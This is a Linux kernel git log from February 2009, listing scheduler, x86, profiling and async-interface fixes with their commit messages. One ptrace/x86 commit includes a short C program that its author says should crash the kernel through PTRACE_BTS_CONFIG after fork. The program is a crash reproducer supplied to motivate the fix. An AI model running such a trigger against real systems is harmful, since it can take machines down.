| |/ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | We're going to split the process wide cpu accounting into two parts: - clocks; which can take all the time they want since they run from user context. - timers; which need constant time tracing but can affort the overhead because they're default off -- and rare. The clock readout will go back to a full sum of the thread group, for this we need to re-add the exit stats that were removed in the initial itimer rework (f06febc9: timers: fix itimer/many thread hang). Furthermore, since that full sum can be rather slow for large thread groups and we have the complete dead task stats, revert the do_notify_parent time computation. Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Reviewed-by: Ingo Molnar <mingo@elte.hu> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * sched: fix nohz load balancer on cpu offlineSuresh Siddha2009-02-04
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Christian Borntraeger reports: > After a logical cpu offline, even on a complete idle system, there > is one cpu with full ticks. It turns out that nohz.cpu_mask has the > the offlined cpu still set. > > In select_nohz_load_balancer() we check if the system is completely > idle to turn of load balancing. We compare cpu_online_map with > nohz.cpu_mask. Since cpu_online_map is updated on cpu unplug, > but nohz.cpu_mask is not, the check fails and the scheduler believes > that we need an "idle load balancer" even on a fully idle system. > Since the ilb cpu does not deactivate the timer tick this breaks NOHZ. Fix the select_nohz_load_balancer() to not set the nohz.cpu_mask while a cpu is going offline. Reported-by: Christian Borntraeger <borntraeger@de.ibm.com> Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com> Tested-by: Christian Borntraeger <borntraeger@de.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds2009-02-11
|\ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: ptrace, x86: fix the usage of ptrace_fork() i8327: fix outb() parameter order x86: fix math_emu register frame access x86: math_emu info cleanup x86: include correct %gs in a.out core dump x86, vmi: put a missing paravirt_release_pmd in pgd_dtor x86: find nr_irqs_gsi with mp_ioapic_routing x86: add clflush before monitor for Intel 7400 series x86: disable intel_iommu support by default x86: don't apply __supported_pte_mask to non-present ptes x86: fix grammar in user-visible BIOS warning x86/Kconfig.cpu: make Kconfig help readable in the console x86, 64-bit: print DMI info in the oops trace
| * | ptrace, x86: fix the usage of ptrace_fork()Oleg Nesterov2009-02-11
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | I noticed by pure accident we have ptrace_fork() and friends. This was added by "x86, bts: add fork and exit handling", commit bf53de907dfdaac178c92d774aae7370d7b97d20. I can't test this, ds_request_bts() returns -EOPNOTSUPP, but I strongly believe this needs the fix. I think something like this program int main(void) { int pid = fork(); if (!pid) { ptrace(PTRACE_TRACEME, 0, NULL, NULL); kill(getpid(), SIGSTOP); fork(); } else { struct ptrace_bts_config bts = { .flags = PTRACE_BTS_O_ALLOC, .size = 4 * 4096, }; wait(NULL); ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACEFORK); ptrace(PTRACE_BTS_CONFIG, pid, &bts, sizeof(bts)); ptrace(PTRACE_CONT, pid, NULL, NULL); sleep(1); } return 0; } should crash the kernel. If the task is traced by its natural parent ptrace_reparented() returns 0 but we should clear ->btsxxx anyway. Signed-off-by: Oleg Nesterov <oleg@redhat.com> Acked-by: Markus Metzger <markus.t.metzger@intel.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | | profiling: fix broken profiling regressionHugh Dickins2009-02-09
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: fix broken /proc/profile on UP machines Commit c309b917cab55799ea489d7b5f1b77025d9f8462 "cpumask: convert kernel/profile.c" broke profiling. prof_cpu_mask was previously initialized to CPU_MASK_ALL, but left uninitialized in that commit. We need to copy cpu_possible_mask (cpu_online_mask is not enough). Signed-off-by: Hugh Dickins <hugh@veritas.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | | async: use list_move_tailStefan Richter2009-02-08
| | | | | | | | | | | | | | | | | | | | | | | | list.h provides a dedicated primitive for "list_del followed by list_add_tail"... list_move_tail. Signed-off-by: Arjan van de Ven <arjan@linux.intel.com> Signed-off-by: Stefan Richter <stefanr@s5r6.in-berlin.de>
* | | async: Rename _special -> _domain for clarity.Cornelia Huck2009-02-08
| | | | | | | | | | | | | | | | | | | | | | | | | | | Rename the async_*_special() functions to async_*_domain(), which describes the purpose of these functions much better. [Broke up long lines to silence checkpatch] Signed-off-by: Cornelia Huck <cornelia.huck@de.ibm.com> Signed-off-by: Arjan van de Ven <arjan@linux.intel.com>
* | | async: Add some documentation.Cornelia Huck2009-02-08
| | | | | | | | | | | | | | | | | | | | | Add some kerneldoc to the async interface. Signed-off-by: Cornelia Huck <cornelia.huck@de.ibm.com> Signed-off-by: Arjan van de Ven <arjan@linux.intel.com>
* | | async: Handle kthread_run() return codes.Cornelia Huck2009-02-08
| | | | | | | | | | | | | | | | | | | | | | | | | | | If we fail to create the manager thread, fall back to non-fastboot. If we fail to create an async thread, try again after waiting for a bit. Signed-off-by: Cornelia Huck <cornelia.huck@de.ibm.com> Signed-off-by: Arjan van de Ven <arjan@linux.intel.com>